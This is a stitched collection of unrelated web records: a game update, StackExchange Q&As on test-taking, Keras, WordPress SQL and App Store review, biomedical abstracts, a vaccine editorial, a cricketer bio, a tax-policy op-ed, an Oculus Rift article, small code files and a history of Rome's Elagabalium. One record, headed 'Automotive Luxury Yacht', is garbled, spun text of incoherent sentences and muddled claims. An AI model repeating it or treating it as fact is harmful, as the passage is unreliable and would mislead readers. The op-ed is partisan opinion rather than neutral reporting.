Digital Extremes is proud to debut the first Warframe of 2018, Khora, in conjunction with a new team-based survival game mode, “Sanctuary Onslaught”. These are both coming in the update Beasts of the Sanctuary, which arrives this week for Pc, and in May for consoles. Khora is a versatile frame, offering offensive and defensive power alongside a unique set of attacks. The armor-clad Khora wields a snake-like metallic whip that lashes enemies from a distance and commands a metallic Kavata (cat pet) that will demolish enemies with a flurry of offense. The new Sanctuary Onslaught mode, where Khora can be found, enables solo players, or a squad of up to four, to quickly dash through timed portals while blasting waves of increasingly powerful enemies. Both Khora and Sanctuary Onslaught together offer fresh new ways for Tenno to harness Warframe’s cooperative chaos, and both are free with the Beasts of the Sanctuary.
Khora has the following abilities:
Whipclaw: Send enemies reeling with a deafening whipcrack.
·Ensnare: Bind a hapless target in living metal, entangling others who stray too close. Disperse the trap with a crack of the whip.
·Venari: Summon a ferocious, gleaming Kavat. Use again to cycle between Attack, Protect, and Heal postures.
·Strangledome: Weave a dome of living chain that ensnares and strangles any enemy within, and any foolish enough to approach.
New weapons and items will also be available for Khora, including the Dartgun, Quill Spear, Tenno Revolver Rifle, Zaw Parts, Quill Syandana, and Quill Alt Helmet.
|
{
"pile_set_name": "Pile-CC"
}
|
Q:
Answering Ambiguous or Outright Preposterous Questions
Given the premise of any form of testing is the evaluation of one's knowledge in comparison to the population (i.e. class) as a whole and a set body of knowledge (i.e. syllabus).
How does one approach the issue of answering conceptual questions that are completely groundless in a multiple choice format? I know that as an essay format, one can take positions and point out the flaws in the prompt. But in a format where there is (in theory) always a correct answer, what options does one have?
The following are poor examples, but it summarizes the question succinctly.
Vaccines cause autism. Studies have shown that Vaccine causes autism.
When 100 people were surveyed by University X, 98% agreed that V = A.
Question: What causes Autism?
A: Vaccines
B: Genetics
C: Baseball
The world is flat. If one were to travel too far in any direction, they will fall off the earth.
Question: What will happen if you travel too far East?
A: You will end up on the other side
B: You will fall off
C: Nothing will Happen
Does one exclude the knowledge that they have gained from learning in the greater world and operate within the "confines" of the question, or do they reject the confines and operate on what is and proven at the present?
I asked a friend of mine this question, he/she responded that I had to approach the problem as a logic problem within 'closed system', meaning not to infer any additional knowledge outside the realm of the question.
If one were to approach the problem with the intent of seeking to maximize one's grade, i.e. the choice that will generate a point, then the answer is evident from the examples provided.
If one were to approach the problem with the intent of seeking to answer with the correct answer, i.e. the choice that most accurately reflects a person's belief (or that of society as a whole), then the answer is evident from the examples provided.
But what if the question is political or advocates a hateful rhetoric that is only believed by the question-maker (and therefore the grade-maker)?
If a personal belief is in opposition to the greater whole (i.e. An abolitionist in the South before the US Civil War, learning about social structure) what is the 'correct' answer?
Does the 'closed-system' extend to the class as a whole, irrespective of the outside world, and one's personal beliefs seconded to the beliefs of the grade-maker?
What is the overriding prerogative? Maximizing one's beliefs or grade?
A:
Easy. Maximize your grade.
You'll have plenty of opportunities in life to influence people and try to reduce the total stupidity in the world.
This is not such an opportunity.
Maximize your grade, if for no other reason than as an interesting puzzle, where you put yourself in the shoes of the idiot who wrote the question, and try to reverse-engineer the question.
You may still not hit the "correct" answer, but you might as well try to solve the puzzle.... Why not?
A:
Maximize your grade, but….
Generally speaking, giving the correct answer on an multiple-choice exam where you know you’re supposed to give the incorrect answer doesn’t accomplish much. It won’t give you a higher grade (obviously). But it also won’t convince anyone that they’re wrong. How could it? No one will look at a (theoretically correct, but to their mind wrong) answer on a multiple choice test and realize their error. In fact, most people won’t look at it at all, even if the tests are graded by hand.
In the comments, you indicate that you’re talking about the GRE. Specific issues here include the fact that the multiple-choice portions of the GRE are, I believe, graded by computer. In fact, sometimes even the essays are, to some extent. Even paper tests may be fed into a scanner. As such, it is even more certain that giving the correct answer on the GRE, as opposed to the expected answer, will accomplish nothing.
Report the error
That said, you need not be resigned to simply accepting errors in reasoning or fact on a test, even if it’s a multiple-choice test. You can report the error. If the test was created by your professor or someone at the university, talk to them or send them an email after the exam, explaining that there was a mistake on the test, and, if you can still recall, what the error was. I’ve occasionally caught a few mistakes in exams (not the multiple-choice sort), and the professor was always happy to send out a correction.
In the case of standardized tests, such the GRE (the case that inspired this question), you can formally report the error. People have reported errors in multiple-choice standardized tests for a long time, and such tests are still corrected when the mistake is noticed. Typically, everyone will receive credit for the incorrect question. ETS, which administers the GRE, notes this on their website:
If you think there is an error in a test question that affects your
response, tell the test supervisor as soon as you finish the test, and
immediately write to[…]
By giving the answer that ETS expects, and then immediately reporting the question (after finishing the test), you will maximize your chances of receiving the best score, and ensure that incorrect information does not continue to be shared.
|
{
"pile_set_name": "StackExchange"
}
|
Synthesis of functional proteins by mixing peptide motifs.
Here, we describe a synthetic approach for generating artificial proteins by the assemblage of naturally occurring peptide motifs. Two motifs respectively related to apoptosis induction and protein transduction were encrypted into different reading frames of an artificial gene (microgene), which was then polymerized; random frame shifts at the junctions between the microgene units yielded combinatorial polymers of three reading frames. Among the proteins created, #284 was found to penetrate through cell membranes and exert a strong apoptotic effect on several cancer cell lines. Because a simple linkage of these motifs was not sufficient to construct a bifunctional peptide, and the successful reconstitution was dependent on how they were joined together, the combinatorial strategy is important for reconstituting functions from mixtures of motifs. This microgene-based approach represents a novel system for creating proteins with desired functions.
|
{
"pile_set_name": "PubMed Abstracts"
}
|
Q:
mutli-task learning keras ( integrate two task in one mutli-ask one)
i work on keras , i have two problem i want to solve ( one classifiecation and other regression ) with the same input and different in output
for classification all data will be used and also for regression , the difference just in output layer
i create single model for each one as the following example for classification
model = Sequential()
model.add(Dense(300, activation='relu', input_dim=377))
model.add(Dense(256, activation='relu'))
model.add(Dense(128, activation='relu'))
model.add(Dropout(0.1))
model.add(Dense(56, activation='relu'))
model.add(Dense(16, activation='relu'))
model.add(Dropout(0.1))
model.add(Dense(1))#
and it works well , the same model with changing in the last model works well for regression problem
my question is how to integrate the two tasks in multi-task learning neural network that take one input and output the two tasks
i search a lot but i didn't reach to the solution i want
note : i work with data in CSV file format
any help will be appreciated
A:
this is an example with keras functional api
inp = Input((377,))
x = Dense(300, activation='relu')(inp)
x = Dense(256, activation='relu')(x)
x = Dense(128, activation='relu')(x)
x = Dropout(0.1)(x)
x = Dense(56, activation='relu')(x)
x = Dense(16, activation='relu')(x)
x = Dropout(0.1)(x)
out_reg = Dense(1, name='reg')(x)
out_class = Dense(1, activation='sigmoid', name='class')(x) # I suppose bivariate classification problem
model = Model(inp, [out_reg, out_class])
model.compile('adam', loss={'reg':'mse', 'class':'binary_crossentropy'},
loss_weights={'reg':0.5, 'class':0.5})
I used the structure you reported for classification and for regression, the only difference is in the output: 2 dense layer, one regression and the other classification (I suppose a binary classifier)
I've applied also a different loss for regression and classification. You can also balance them in a different way
|
{
"pile_set_name": "StackExchange"
}
|
It is widely known that the successful use of pneumococcal conjugate vaccines (PCVs) has resulted in a marked reduction in invasive pneumococcal diseases in children. However, the World Health Organization estimates that *Streptococcus pneumonia* still kills close to half a million children under 5 years old worldwide every year; most of these deaths occur in developing countries \[[@b1-cep-2019-01739]\]. By the end of 2018, only 47% of 1-year-olds worldwide had received 3 doses of PCV. This measure serves as an indicator of health system performance in efforts to eradicate diseases. Such children have not been vaccinated because their country has not introduced the vaccine or they are not covered by its National Immunization Program (NIP) \[[@b2-cep-2019-01739]\]. As of March 2019, 144 countries (74%) have introduced PCV into their NIP, 15 (8%) have announced plans to do so, and 35 (18%) have yet to make a decision \[[@b2-cep-2019-01739]\]. Thus, further increasing PCV coverage globally is required, which appears to be closely related to the economic situation of each country.
Two kinds of PCV (10-valent Synflorix and 13-valent Prevnar 13) are currently available worldwide with 4 approved dosing regimens (3 primary doses with 1 booster \[3p+1\] schedule). The NIP of countries such as the United States and the Republic of Korea (23 countries as of March 2019) use a 3p+1 schedule \[[@b3-cep-2019-01739]\]. The seven-valent Prevenar was first used in 2003 in the Republic of Korea. The PCV10 (Synflorix) and PCV13 (Prevnar 13) vaccinations were introduced in 2010, and NIP for children with PCV10 or PCV13 were first implemented in 2014. Alternatively, it can be administered as a 3-dose schedule as 3 primary doses without a booster (3p+0 schedule) or as 2 primary doses with 1 booster (2p+1 schedule). The 3p+0 schedule is being adopted in 61 countries, while the 2p+1 schedule is being adopted in 59 countries ([Fig. 1](#f1-cep-2019-01739){ref-type="fig"}, [Table 1](#t1-cep-2019-01739){ref-type="table"}). The 3-dose schedule is also known as a dose-sparing schedule. The 2p+1 schedule has potential benefits over the 3p+0 schedule since higher antibody titers are induced in the second year of life \[[@b3-cep-2019-01739]\]. Three- and 4-dose schedules have been proven effective with both direct and indirect effects against pneumococcal disease caused by vaccine serotypes \[[@b4-cep-2019-01739],[@b5-cep-2019-01739]\].
GBP411, a 12-valent PCV (serotypes 1, 4, 5, 6A, 6B, 7F, 9V, 14, 18C, 19A, 19F, and 23F), was developed to enable practical dosing that meets the needs of low-income countries with a low vaccine introduction rate and a higher mortality rate than those of high-income countries \[[@b1-cep-2019-01739]\]. Unlike PCV13, GBP411 uses CRM197 as a carrier protein and polysorbates as suspending agents. The investigators assessed the immunogenicity of GBP411 compared to PCV13 in a phase 2 trial \[[@b6-cep-2019-01739]\]. A total of 3 doses of the GBP411 or control vaccine were administered to subjects on the 2p+1 schedule. This study demonstrated that after the booster dose, \>97% of the subjects achieved an immunoglobulin G (IgG) concentration ≥0.35 μg/mL for all 12 serotypes. After the primary doses, for a few serotypes (6B and 19A), the proportion of subjects who met the immunogenicity criteria was significantly lower in the GBP411 group than in the control vaccine group. Low immunogenicity for serotypes 6B and 23F with a 2-dose primary schedule is known \[[@b7-cep-2019-01739]\]. However, it is unknown whether a lower serotype-specific geometric mean concentration (GMC) of an antibody indicates lower efficacy for those serotypes \[[@b3-cep-2019-01739]\]. No serotype-specific thresholds for antibody concentrations have been defined to date. Data on local epidemiology based on serotype prevalence should be considered when choosing a schedule. The safety profile of GBP411 was similar to that of the control vaccine.
The occurrence of pneumococcal disease caused by nonvaccine serotypes has increased. A candidate 15-valent PCV (PCV15) has been developed that includes 2 more serotypes (22F and 33F) that are among leading causes of invasive pneumococcal disease following PCV implementation. The PCV15 vaccine was developed for inoculating patients at 2, 4, 6, and 12--15 months of age (3p+1 schedule). A phase 2 study compared the safety and immunogenicity of PCV15 versus PCV13 in infants. Safety profiles were comparable across vaccination groups. At postdose-3, PCV15 formulation was non-inferior to PCV13 for 10 of 13 shared serotypes but inferior for 3 serotypes (6A, 6B, and 19A) based on the proportion of subjects achieving an IgG GMC of 0.35 g/mL and induced higher antibodies to serotypes 3, 22F, and 33F than to PCV13 \[[@b8-cep-2019-01739]\].
Choice of PCV schedule and products remains a complex issue under debate. Many countries use a 3-dose schedule for PCV immunization, and the new 12-valent PCV is expected to be used as a practical vaccine using the 2p+1 schedule. In choosing schedules and products, each country should consider programmatic factors, including timeliness of immunization and coverage. A cost-benefit analysis will also be required.
No potential conflict of interest relevant to this article was reported.
).](cep-2019-01739f1){#f1-cep-2019-01739}
######
Recommended pneumococcal conjugate vaccine immunization schedules for children by country
Country Immunization schedule
---------------------------------- ------------------------------
Republic of Korea, United States 2 m, 4 m, 6 m, 12-15 m (3+1)
Japan 2 m, 3 m, 4 m, 12-15 m (3+1)
New Zealand 6 w, 3 m, 5 m, 15 m (3+1)
Germany 2 m, 4 m, 11-14 m (2+1)
France 2 m, 4 m, 11 m (2+1)
Italy, The Netherlands 3 m, 5 m, 11 m (2+1)
Australia, Canada, Belgium 2 m, 4 m, 12 m (2+1)
|
{
"pile_set_name": "PubMed Central"
}
|
Q:
Use Cron to modify posts via sql
Hi to all I need to run this twice a day:
UPDATE wp_posts SET post_content = REPLACE ( post_content, '[img]', '<img src="' );
UPDATE wp_posts SET post_content = REPLACE ( post_content, '[IMG]', '<img src="' );
UPDATE wp_posts SET post_content = REPLACE ( post_content, '[/img]', '" />' );
UPDATE wp_posts SET post_content = REPLACE ( post_content, '[/IMG]', '" />' );
UPDATE wp_posts SET post_content = REPLACE ( post_content, '[b]', '<strong>' );
UPDATE wp_posts SET post_content = REPLACE ( post_content, '[B]', '<strong>' );
UPDATE wp_posts SET post_content = REPLACE ( post_content, '[/b]', '</strong>' );
UPDATE wp_posts SET post_content = REPLACE ( post_content, '[/B]', '</strong>' );
How can do it? I don't want to run it manually and I can't do it each time a post is published because I'm running a MU website and my authors are too lazy to modify their code from bbCode to HTML.
I'm using cPanel so I can add a CronJob easily if you teach me how to do it.
Thanks to all!
A:
Creating your own schedules is a little messy (because they need to be persistent and stored in database), but it is quite easy to hop on one of the native schedules that run twice a day.
add_action( 'wp_version_check', 'my_function' );
function my_function() {
//stuff
}
As for running actual queries you should use $wpdb for that.
|
{
"pile_set_name": "StackExchange"
}
|
Q:
iPhone App rejected. 9.4 : Video streaming over cellular network (etc)
From Apple:
9.4
We found that your app does not use the HTTP Live Streaming protocol,
with a baseline stream of 64 kbps, to broadcast streaming video, as
required by the App Store Review Guidelines.
This is not the first time we had this error. The first time we had this they mentioned the url that was giving the error and pointed us towards their mediastreamvalidator tool.
We fixed our .m3u8's, added a low bitrate stream, have run through all our url's with that tool, and they have all passed.
Upon resubmitting they gave us the error above, with no details. We've replied in the resolution center with the validation output attached and are currently waiting for a reply. Does anyone have any ideas of things we've missed that would not be caught by their validation tool?
Thanks.
A:
Well, after finally getting through to someone at apple on the phone we got a case number and our app flagged for a fast tracked review. It was approved and is now available, despite there being no change whatsoever in the binary between the last rejection and this approval.
|
{
"pile_set_name": "StackExchange"
}
|
Pathum Nissanka
Pathum Nissanka (born 18 May 1998) is a Sri Lankan cricketer. He made his List A debut for Hambantota District in the 2016–17 Districts One Day Tournament on 17 March 2017. He made his Twenty20 debut for Badureliya Sports Club in the 2017–18 SLC Twenty20 Tournament on 24 February 2018.
In March 2018, he was named in Kandy's squad for the 2017–18 Super Four Provincial Tournament. The following month, he was also named in Kandy's squad for the 2018 Super Provincial One Day Tournament.
In January 2019, he was named in Sri lanka A's squad for the first-class series against Ireland A. He was the leading run-scorer for Sri Lanka A with 258 runs in two matches. In February 2019, he scored his 1,000th run in the 2018–19 Premier League Tournament, batting for Nondescripts Cricket Club against Colombo Cricket Club. He finished the tournament as the leading run-scorer for Nondescripts Cricket Club, with 1,088 runs in seven matches.
In March 2019, he was named in Kandy's squad for the 2019 Super Provincial One Day Tournament. In November 2019, he was named in Sri Lanka's squad for the 2019 ACC Emerging Teams Asia Cup in Bangladesh. Later the same month, he was named in Sri Lanka's squad for the men's cricket tournament at the 2019 South Asian Games. The Sri Lanka team won the silver medal, after they lost to Bangladesh by seven wickets in the final.
References
External links
Category:1998 births
Category:Living people
Category:Sri Lankan cricketers
Category:Badureliya Sports Club cricketers
Category:Hambantota District cricketers
Category:Kalutara Physical Culture Centre cricketers
Category:Nondescripts Cricket Club cricketers
Category:Sportspeople from Galle
Category:South Asian Games silver medalists for Sri Lanka
|
{
"pile_set_name": "Wikipedia (en)"
}
|
Urinary corticosterone as an indicator of stress-mediated immunological changes in rats.
Drugs that target the CNS or doses of drugs near the maximum tolerated dose may cause a non-specific stress response during routine safety testing in rodents that leads to the release of corticosterone and changes immunological parameters. In situations with mild clinical signs of stress and changes to immune organs, it may be difficult to differentiate direct immunotoxicity from changes mediated by stress. To address this concern, studies were conducted to identify potential biomarker of stress in rats that could be used in routine toxicology studies. Since serial blood collections for corticosterone levels are not practical, studies were conducted to evaluate urine corticosterone and its metabolites as a potential biomarker of stress in male Sprague-Dawley rats. Exogenous corticosterone was used as a reference to identify immune system targets and determine their relative sensitivity to corticosterone. The data from rats treated with exogenous corticosterone and from rats treated with drug or chemical stressors produced linear relationships between urine corticosterone and most immunological parameters, with r-squared values greater than 0.6. Thus, quantitatively similar effects on immunological end points are produced by exogenous corticosterone and by corticosterone induced by chemical stressors with regard to their correlation to selected immunological changes. In preclinical safety testing for a new drug, the combined findings of increased urinary corticosterone and changes of the predicted magnitude and direction in blood lymphocyte and neutrophil differentials and thymus weight or cellularity would strongly suggest that the immunological effects are secondary to a drug-induced stress response. Because these results can be obtained reliably during routine preclinical evaluations, they should be useful for the weight-of-evidence approaches often used in regulatory settings.
|
{
"pile_set_name": "PubMed Abstracts"
}
|
Automotive Luxury Yacht
The BA(Hons) Automotive Design offers college students the opportunity to develop the abilities, information and mental skills to undertake the design and improvement of recent automobiles (primarily cars and bikes) primarily based on a clear understanding of proportion, volume and surface design principles. Scheduled and conducted vehicle preventive maintenance; making certain 17 items were prepared for deployment on quick notice. If empathy is part of your corporation method, your opposition might be consuming your dust. Most guys beginning in the subject of professional detailing have little to no money. One other good visually apparent Kanban system is to make the most of simple signals on the store ground itself, both marks on the manufacturing unit ground or on shelving and the like. Minimal stock ranges marked on buffer stock shelves can trigger the previous process to fill those gaps. Empty areas on the store floor can trigger the manufacturing of material to fill these spaces.
The three cylinder motor discovered under the hood of the new MINI is the first of its sort put in a production car by BMW Group. Automotive news() had driven the 1.5 liter cylinder engine when it was nonetheless undergoing testing and development. We have been mightily impressed again then. In the new MINI Cooper, the three cylinder motor is tuned extra for gasoline financial system and the 1.5 liter TwinPower single turbo makes 134 hp and a max 170 ft-lbs. The MINI Cooper is sweet for a 0-60 time of seven.four seconds in the manual and seven.3 in the automatic.
Anyway…if we ever do come head to head, I’ll have some apologies to make. Out of the personal ugliness of my coronary heart, I referred to as him a fool of the worst type. Matthew 5:22 – But I say to you, That whosoever is indignant together with his brother with no trigger shall be at risk of the judgment: and whosoever shall say to his brother, Raca, shall be in danger of the council: but whosoever shall say, Thou fool, shall be at risk of hell hearth.” Now I do know better than to stand in judgment over issues I know little about…like James’ rising up.
Step 12. When your automotive is completed, take any remaining unused wash cloths left within the bucket and wring them out over the bucket to save lots of the cleaning solution. Put all of your dirty towels within the laundry hamper to be cleaned. The Coda reverse is a high quality instance of top quality in these briefcase sized models. Builders of self-driving automobiles bristled at rules proposed in December by the California Division of Motor Vehicles. This is what they’d require.
This event might have an excellent effect on the marketing strategies of automobile corporations. Corporations have gotten an increasing number of artistic in advertising and marketing particular fashions. We have now seen prior to now model identify cars in Hollywood movies, but now video video games is a new stage. It astonishes me how individuals in advertising give you these concepts after there have already been so many various advertising strategies.
|
{
"pile_set_name": "Pile-CC"
}
|
/**
* Copyright (c) 2015-present, Facebook, Inc.
* All rights reserved.
*
* This source code is licensed under the BSD-style license found in the
* LICENSE file in the root directory of this source tree. An additional grant
* of patent rights can be found in the PATENTS file in the same directory.
*/
'use strict';
module.exports = () => () => {};
|
{
"pile_set_name": "Github"
}
|
Spudaroo is rather like 99 designs except the design bit. We connect people needing material such as articles, blog content, press releases and presentations to professionals with marketing and literary talent.
Homepage
Clean and simple web 2.0 layout and look that ties to the logo
Central area for recent contests
Call to action to get started
Client testimonial
(Our message) Up all night? Spudaroo connects folks needing presentations, blog content, newsletters and more to a growing community of talented literary and media professionals. How Spudaroo works
Header with links to How Spudaroo Works, Sign In, Sign Up
Footer with Copyright, About, Blog, Help, Privacy, Terms, We Love Feedback. Leave room in footer for some more info about our contests and how they work.
How Spudaroo works page
Should have space for a press comment or testimonial, simple clean. Explain the process. Video and audio also available etc.
Contest Overview
Similar to 99designs except using ipaper frames to display the entries. Think about how you would love to improve 99designs contest overview layout and apply here. Again, simple and very clean.
Wants
Web 2.0
Slick
Clean
Bright
Easy to navigate
Good colors
Clear message
Delivered in PSD so the developer can break out the images
|
{
"pile_set_name": "Pile-CC"
}
|
×
As Congress prepares to end its lame-duck session, Republican House Speaker Paul Ryan races to grease the tracks for his trickle-down tax plan.
His partner in this latest GOP shell game is Senate Majority Leader Mitch McConnell, who told reporters at a Capitol Hill press conference Monday that after Republicans finish gutting Obamacare (their first target), they intend to use a second, filibuster-proof, budget reconciliation process to ram through comprehensive tax reform.
The speaker would have you believe that his reform plan merely simplifies the tax code by shaving the number of tax brackets from the current seven-"their [the Democrats'] way"-down to just three-a #BetterWay-the average taxpayer will save big bucks.
He recently tweeted:
The U.S. tax code is too complicated. ← Retweet if you agree. #BetterWay pic.twitter.com/Do9qmHskzd - Paul Ryan (@SpeakerRyan) December 11, 2016
But Ryan, who's conned Washington into thinking he's a veritable policy wonk, uses the rhetorical cover of a "leaner, meaner" tax code to hawk neo-Reaganomics. Fewer tax brackets do not make for a fairer or less complicated system: Flattening the tax code by reducing the number of brackets is a regressive tax strategy. Many on the left argue that adding more brackets would acutally produce a better system of taxation.
Ryan's plan is pure trickle-down economics: It would dramatically reduce the top marginal-income and corporate tax rates and eliminate the estate tax entirely.
For the average taxpayer, Paul Ryan's tax framework is no better than Donald Trump's. If anything is unique about Ryan's tax plan, it is that he managed to make it even more regressive than past GOP plans. According to an analysis by the Tax Policy Center, the top 1percent of taxpayers will have received the overwhelming share, about 99.6 percent, of Ryan's tax cuts-which would be fully phased in by 2025.
On average, the wealthiest Americans would see an 11 percent increase in their after-tax incomes. Meanwhile, the middle fifth of households would receive just $60.
Ryan's "Better Way" plan would reduce federal revenues by $3.1 trillion over the first decade and increase the national debt by as much as $3 trillion. A Center on Budget and Policy Priorities analysis found that the tax cuts would produce a massive increase in the federal deficit that would not be offset by budget cuts or economic growth.
When 60 Minutes asked Ryan whether the rich would benefit most from his tax plan, he said: "Here's the point of our tax plan. Grow jobs. Get this economy growing. Raise wages. Simplify the tax system, so it's easy to comply with." However, tax cuts aimed at the rich do not "grow jobs." Nor do they increase incomes for the working and middle classes.
Do not be distracted by Trump's antics. Instead, watch out for the speaker's "simplification" ruse. It's a Trojan horse for trickle-down economics 2.0 dreamed up by Paul Ryan, our Trickle Downer of the Week.
|
{
"pile_set_name": "OpenWebText2"
}
|
An affordable, realistic virtual reality game system has eluded developers for decades.
Previous attempts yielded clunky nausea-inducing disappointments — until a plucky start-up called Oculus VR raised $2.4 million on Kickstarter two years ago and was bought by Facebook for $2 billion in March.
Now, Oculus and its 21-year-old founder, Palmer Luckey, are featured on the covers of Wired and Popular Mechanics magazines.
Luckey started working on the game system, called the Rift, as a teenager in his Long Beach garage. This week, the latest version had developers and fans lining up at the E3 video game conference at the Los Angeles Convention Center.
“The Oculus Rift is as big a change as computers getting connected to the Internet,” said Brian Shuster, chief executive of Utherverse, whose software is used to create virtual reality environments. “I think it’s a tectonic shift.”
Virtual reality uses computer power to create artificial interactive environments that surround a human being, giving the sense of entering an alternate world, usually by donning special helmets or goggles. VR is being used in a variety of disciplines, from surgical training to flight simulation. And, of course, games.
The Rift is notable because it is billed as the first affordable system that doesn’t make its wearer sick. Computers have been powerful enough to provide an engaging virtual experience, but not fast enough to keep up with the human body’s sense of equilibrium. A narrow range of vision added to the vertigo.
Oculus uses new algorithms to better comport with the human sense of motion, and magnifying lenses to widen the angle of vision. Oculus’ only major competitor right now is Sony, which displayed its Project Morpheus virtual reality system at E3. Both systems are expected to go on sale next year.
Developer kits of the Rift now sell for $300, and the consumer model will likely carry a similar price tag.
Resembling a bulky pair of ski goggles, the screen wraps around a user’s eyes, immersing the player fully into the world of the video game. Technology that tracks the movement of a player’s head and eyes lead to instant reactions within the game.
Many developers see virtual reality as a breakthrough for new kinds of first-person games. Game developer Paul Bettner says the Oculus system also lends itself to the kind of classic 3-D platforms similar to Mario 64.
“When I first saw the iPhone, it was so cool and I had make games for it,” he said. “It’s the same thing for the Oculus.”
Bettner — who created the popular mobile game “Words with Friends” and worked with Microsoft’s design studio on games such as “Halo Wars” and “Age of Empires” — was at E3 showing off his upcoming title “Lucky’s Tale,” which is exclusively designed for the Rift.
Though the gameplay in “Lucky’s Tale” is similar to other 3-D games, playing with the Rift headset takes it to another level. Rather than push a controller joystick to move the in-game camera, players can tilt their heads to control their view, lean forward to take a closer look at a character or just let their eyes wander around the brightly colored cartoon environment.
Oculus is also opening doors for Control VR, a Los Angeles company that is developing a gesture-controlled glove and upper-body apparatus that work with the Rift.
Using specially wired gloves and a chest harness, E3 attendees were able to move their arms, hands and fingers with the movements nearly instantly tracked in-game. Though Control VR was showing a basic moon landing demo, designer Alex Knoll said the technology could be used for cheaper animation of human models and other non-gaming applications.
The technology behind the gloves has been in development for about two decades, but the Oculus system has broadened Control VR’s horizons.
“If anyone is still not sold on virtual reality being the future of communication and entertainment, they should be sure of it now,” said Control VR chief executive Alex Sarnoff.
[email protected]
|
{
"pile_set_name": "OpenWebText2"
}
|
/**
* Utility for resolving a module relative to another module
* @author Teddy Katz
*/
"use strict";
const Module = require("module");
/*
* `Module.createRequire` is added in v12.2.0. It supports URL as well.
* We only support the case where the argument is a filepath, not a URL.
*/
// eslint-disable-next-line node/no-unsupported-features/node-builtins, node/no-deprecated-api
const createRequire = Module.createRequire || Module.createRequireFromPath;
module.exports = {
/**
* Resolves a Node module relative to another module
* @param {string} moduleName The name of a Node module, or a path to a Node module.
* @param {string} relativeToPath An absolute path indicating the module that `moduleName` should be resolved relative to. This must be
* a file rather than a directory, but the file need not actually exist.
* @returns {string} The absolute path that would result from calling `require.resolve(moduleName)` in a file located at `relativeToPath`
*/
resolve(moduleName, relativeToPath) {
try {
return createRequire(relativeToPath).resolve(moduleName);
} catch (error) {
// This `if` block is for older Node.js than 12.0.0. We can remove this block in the future.
if (
typeof error === "object" &&
error !== null &&
error.code === "MODULE_NOT_FOUND" &&
!error.requireStack &&
error.message.includes(moduleName)
) {
error.message += `\nRequire stack:\n- ${relativeToPath}`;
}
throw error;
}
}
};
|
{
"pile_set_name": "Github"
}
|
Non-T cell activation linker (NTAL) negatively regulates TREM-1/DAP12-induced inflammatory cytokine production in myeloid cells.
The engagement of triggering receptor expressed on myeloid cells 1 (TREM-1) on macrophages and neutrophils leads to TNF-alpha and IL-8 production and enhances inflammatory responses to microbial products. For signal transduction, TREM-1 couples to the ITAM-containing adapter DNAX activation protein of 12 kDa (DAP12). In general, ITAM-mediated signals lead to cell activation, although DAP12 was recently implicated in inhibitory signaling in mouse macrophages and dendritic cells. To date, signals downstream of the TREM-1 and DAP12 complex in myeloid cells are poorly defined. By analyzing receptor-induced tyrosine phosphorylation patterns, we discovered that the ligation of TREM-1 leads to tyrosine phosphorylation of the non-T cell activation linker (NTAL; also called linker of activation in B cells or LAB) in a myelomonocytic cell line and primary human granulocytes. Using RNA interference to decrease the expression levels of NTAL, we demonstrate that in NTAL knockdown cell lines the phosphorylation of ERK1/2 is enhanced. In addition, low levels of NTAL are correlated with decreased and delayed mobilization of Ca(2+) after TREM-1 triggering. Most importantly, we demonstrate that NTAL acts as a negative regulator of TNF-alpha and IL-8 production after stimulation via TREM-1. Our results show that activation signals delivered via DAP12 can be counterbalanced by the adaptor NTAL, identifying NTAL as gatekeeper of TREM-1/DAP12-induced signaling in myeloid cells.
|
{
"pile_set_name": "PubMed Abstracts"
}
|
As the year wraps up, the Chronicle of Philanthropy is out with a list of notable books from 2015. We interviewed a number of the authors. They wrote about altruism, technology, poverty and education. Read more…
Journalist Dale Russakoff’s new book, The Prize, delves into Mark Zuckerberg’s mission to turn around Newark, New Jersey’s ailing school system. In 2010, the Facebook founder contributed $100 million to the effort, which was announced on The Oprah Winfrey Show. We spoke to Russakoff about her new book. Read more…
In our next podcast, we speak with Dale Russakoff who says Newark, New Jersey’s public school system was at one time “debilitated, antiquated, even dysfunctional.” As luck would have it, a billionaire philanthropist agreed. Read more…
|
{
"pile_set_name": "Pile-CC"
}
|
According to the Historia Augusta (Heliogab. 1.6), the Elagabalium was founded on the site of an earlier shrine to Orcus, a native Italic god of the underworld and a punisher of broken oaths. Topographical studies and archaeological evidence, however, have been unable to confirm the biography’s claim, suggesting that this statement was a literary device designed to create a sense of irony and make the temple’s construction and existence ill-omened. A portion of a capital from the Elagabalium, found in the Forum Romanum within the vicinity of the Palatine, makes its location on that hill much more probable (R. Turcan, The Cults of the Roman Empire, 10th ed. [2008], p. 181, pl. 21). This capital confirms the appearance of the cult image and includes images of Minerva and Juno, providing important clues to the claims of Herodian (5.6) and Dio (80.12) that the emperor transported the Palladium to the Palatine in order to wed her to El-Gabal and later included a second spouse by bringing the cult statue of Juno Caelestis, the Punic Tanit, from Carthage. By doing so, Elagabalus was recreating at Rome the Emesene triad consisting of El-Gabal, Atargatis (Minerva), and Astarte (Juno Caelestis), thereby superseding the traditional Capitoline triad of Jupiter, Juno, and Minerva.
By the beginning of AD 222, Elagabalus became increasingly erratic. He refused to perform the traditional New Year’s rites at the Capitolium, the site of the temple to Jupiter Optimus Maximus, the supreme Roman god, leaving them to be completed by the urban praetor. The mention of the Capitolium in this context is significant, for it emphasizes the emperor’s attempt to subordinate Jupiter to El-Gabal, to promote the latter god’s rites, and emphasize the emperor’s unique connection with his god. Herodian’s statement (5.5) that Elagabalus demanded the Senate to honor El-Gabal before all other gods when performing their traditional sacrifices, provides further evidence of Elagabalus’ promotion of his god. And, the Elagabalium was to be the new center of this worship where, as mentioned earlier, the cult figures of other divinities were to be deposited and set up as competing triad to that of Jupiter. When Elagabalus became increasingly distrustful of Alexander, going so far as to order the murder of his successor, the emperor was himself murdered by the soldiers. Once in power, Alexander wasted little time in undoing the work of Elagabalus. In AD 224, he restored and rededicated the Elagabalium to Jupiter (Herodian 6.1, SHA, Heliogab. 17.8), and returned the baetyl to Emesa, where it appears on later coins of that city, including issues of the usurper Uranius Antoninus.
The temple complex depicted on the reverse of the bronze medallions of Elagabalus and Severus Alexander are the only known representations of the appearance of the Elagabalium and its conversion into the Temple of Jupiter Ultor. The type of temple varies according to the medallion: the medallion of Severus Alexander shows a hexastyle temple, while that of Elagabalus shows only a tetrastyle one. Both temples, however, are richly decorated and are surrounded by ornately decorated, multi-story distyle wings of a peristyle seen in perspective with a triumphal entrance consisting of three epistyla, each with closed doors and double intercolumnation between them. The decoration along the roof line of this triumphal entrance originally displayed four quadrigas facing, each bearing a replica of the baetyl – these were removed and replaced with other statuary when the whole complex was renovated. The smaller medallion has an eagle on the summit of each wing flanking the entrance, while the large medallion has an eagle on the left wing only. A long staircase approached the precinct and at the base was a protective fencing that separated the sacred enclosure.
